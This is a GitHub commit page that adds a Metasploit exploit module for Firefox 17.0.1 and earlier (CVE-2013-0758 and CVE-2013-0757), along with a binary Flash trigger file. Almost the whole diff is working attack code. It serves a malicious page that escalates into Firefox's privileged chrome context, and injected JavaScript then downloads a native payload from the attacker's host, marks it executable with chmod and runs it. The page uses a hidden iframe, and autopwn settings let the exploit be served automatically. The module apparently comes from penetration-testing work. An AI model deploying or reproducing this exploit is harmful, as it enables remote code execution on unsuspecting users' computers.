Skip to content

Commit 4d5c4f6

Browse files
committed
Initial commit, works on three OSes, but automatic mode fails.
1 parent 4703a6f commit 4d5c4f6

File tree

2 files changed

+258
-0
lines changed

2 files changed

+258
-0
lines changed

data/exploits/cve-2013-0758.swf

926 Bytes
Binary file not shown.
Lines changed: 258 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
#
14+
# This module acts as an HTTP server
15+
#
16+
include Msf::Exploit::Remote::HttpServer::HTML
17+
include Msf::Exploit::EXE
18+
include Msf::Exploit::Remote::BrowserAutopwn
19+
20+
autopwn_info({
21+
:ua_name => HttpClients::FF,
22+
:ua_maxver => '17.0.1',
23+
:javascript => true,
24+
:rank => ExcellentRanking, # 100% reliable cmd exec
25+
:vuln_test => %Q{
26+
is_vuln = !!navigator.mimeTypes["application/x-shockwave-flash"];
27+
}
28+
})
29+
30+
def initialize(info = {})
31+
super(update_info(info,
32+
'Name' => 'Firefox Plug-in Privileged Javascript Code Execution',
33+
'Description' => %q{
34+
This exploit gains code execution on Firefox 17.0.1 and all previous versions,
35+
provided the user has installed Flash. No memory corruption is used.
36+
37+
First, a Flash object is cloned into the anonymous content of the SVG
38+
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
39+
can navigate a child frame to a URL in the chrome:// scheme.
40+
41+
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
42+
around the child frame's window reference and inject code into the chrome://
43+
context.
44+
45+
Note: Flash is used here to trigger the exploit but any Firefox plugin
46+
with script access should be able to trigger it.
47+
},
48+
'License' => MSF_LICENSE,
49+
'Targets' => [
50+
['Automatic', {}],
51+
[ 'Windows x86 (Native Payload)',
52+
{
53+
'Platform' => 'win',
54+
'Arch' => ARCH_X86,
55+
}
56+
],
57+
[ 'Linux x86 (Native Payload)',
58+
{
59+
'Platform' => 'linux',
60+
'Arch' => ARCH_X86,
61+
}
62+
],
63+
[ 'Mac OS X x86 (Native Payload)',
64+
{
65+
'Platform' => 'osx',
66+
'Arch' => ARCH_X86,
67+
}
68+
]
69+
],
70+
'Platform' => ['win', 'osx', 'linux'],
71+
'DefaultTarget' => 0,
72+
'Author' => [
73+
'joev', # metasploit module
74+
'Marius Mlynski' # discovery & bug report
75+
],
76+
'References' =>
77+
[
78+
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
79+
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
80+
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
81+
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
82+
],
83+
'DisclosureDate' => 'Jan 08 2013'
84+
))
85+
end
86+
87+
def on_request_uri(cli, request)
88+
my_target = get_target(request.headers['User-Agent'])
89+
90+
if my_target.nil?
91+
print_status("User agent does not match an available payload type, bailing.")
92+
send_not_found(cli)
93+
return
94+
end
95+
96+
if request.uri =~ /\.swf$/
97+
# send Flash .swf for navigating the frame to chrome://
98+
print_status("Sending .swf trigger.")
99+
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
100+
elsif request.uri =~ /\.bin/
101+
# send the binary payload to drop & exec
102+
print_status("Child frame navigated. Sending binary payload to drop & execute.")
103+
send_response(cli, dropped_file_contents, { 'Content-Type' => 'application/octet-stream' })
104+
else
105+
# send initial HTML page
106+
print_status("Sending #{self.name}")
107+
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
108+
end
109+
handler(cli)
110+
end
111+
112+
def dropped_file_contents
113+
generate_payload_exe
114+
end
115+
116+
def get_target(agent)
117+
return target if target.name != 'Automatic'
118+
if agent =~ /windows/i
119+
print_status 'Windows detected.'
120+
targets[1]
121+
elsif agent =~ /linux/i
122+
print_status 'Linux detected.'
123+
targets[2]
124+
elsif agent =~ /macintosh/i and agent =~ /intel/i
125+
print_status 'OSX detected.'
126+
targets[3]
127+
else
128+
nil
129+
end
130+
end
131+
132+
def flash_trigger
133+
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
134+
@flash_trigger ||= File.read(swf_path)
135+
end
136+
137+
def payload_filename
138+
if target.name == 'Windows x86 (Native Payload)'
139+
@payload_filename ||= "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
140+
else
141+
@payload_filename ||= "#{Rex::Text.rand_text_alphanumeric(8)}.bin"
142+
end
143+
@payload_filename
144+
end
145+
146+
def js_payload
147+
#'alert(Components.stack)'
148+
%Q|
149+
alert(1)
150+
var x = new XMLHttpRequest;
151+
x.overrideMimeType('text/plain; charset=x-user-defined');
152+
x.open('POST', '#{base_url}.bin', false);
153+
x.send(null);
154+
alert(x.responseText);
155+
var file = Components.classes["@mozilla.org/file/directory_service;1"]
156+
.getService(Components.interfaces.nsIProperties)
157+
.get("TmpD", Components.interfaces.nsIFile);
158+
file.append('#{payload_filename}');
159+
160+
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
161+
createInstance(Components.interfaces.nsIFileOutputStream);
162+
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
163+
stream.write(x.responseText, x.responseText.length);
164+
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
165+
stream.finish();
166+
} else {
167+
stream.close();
168+
}
169+
#{chmod_code}
170+
alert(file.path);
171+
var process = Components.classes["@mozilla.org/process/util;1"]
172+
.createInstance(Components.interfaces.nsIProcess);
173+
process.init(file);
174+
process.run(false,[],0);
175+
|
176+
end
177+
178+
def chmod_code
179+
return '' if target.name == 'Windows x86 (Native Payload)'
180+
%Q|
181+
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
182+
chmod.initWithPath("/bin/chmod");
183+
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
184+
process.init(chmod);
185+
process.run(true, ["+x", file.path], 2);
186+
|
187+
end
188+
189+
# @return [String] URL for sending requests back to the module
190+
def base_url
191+
proto = (datastore["SSL"] ? "https" : "http")
192+
"#{proto}://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
193+
end
194+
195+
def generate_html
196+
vars = {
197+
:symbol_id => 'a',
198+
:random_domain => 'safe',
199+
:payload => js_payload,
200+
:payload_var => 'c',
201+
:payload_key => 'k',
202+
:payload_obj_var => 'payload_obj',
203+
:interval_var => 'itvl',
204+
:access_string => 'access',
205+
:frame_ref => 'frames[0]',
206+
:frame_name => 'n',
207+
:loader_path => "#{base_url}.swf"
208+
}
209+
%Q|
210+
<!doctype html>
211+
<html>
212+
<head>
213+
<meta http-equiv="content-type" content="text/html; charset=utf-8">
214+
<base href="chrome://browser/content/">
215+
</head>
216+
<body>
217+
218+
<svg>
219+
<symbol id="#{vars[:symbol_id]}">
220+
<foreignObject>
221+
<object></object>
222+
</foreignObject>
223+
</symbol>
224+
<use />
225+
</svg>
226+
227+
<script>
228+
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
229+
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
230+
function $() {
231+
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
232+
}
233+
function _() {
234+
return '#{vars[:frame_name]}';
235+
}
236+
var #{vars[:interval_var]} = setInterval(function(){
237+
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
238+
catch(e){
239+
clearInterval(#{vars[:interval_var]});
240+
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
241+
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
242+
Object.prototype.__lookupSetter__("__proto__").call(p, o);
243+
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
244+
}
245+
}, 100);
246+
document.querySelector('object').data = "#{vars[:loader_path]}";
247+
document.querySelector('use').setAttributeNS(
248+
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
249+
);
250+
</script>
251+
252+
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
253+
name="#{vars[:frame_name]}"></iframe>
254+
</body>
255+
</html>
256+
|
257+
end
258+
end

0 commit comments

Comments
 (0)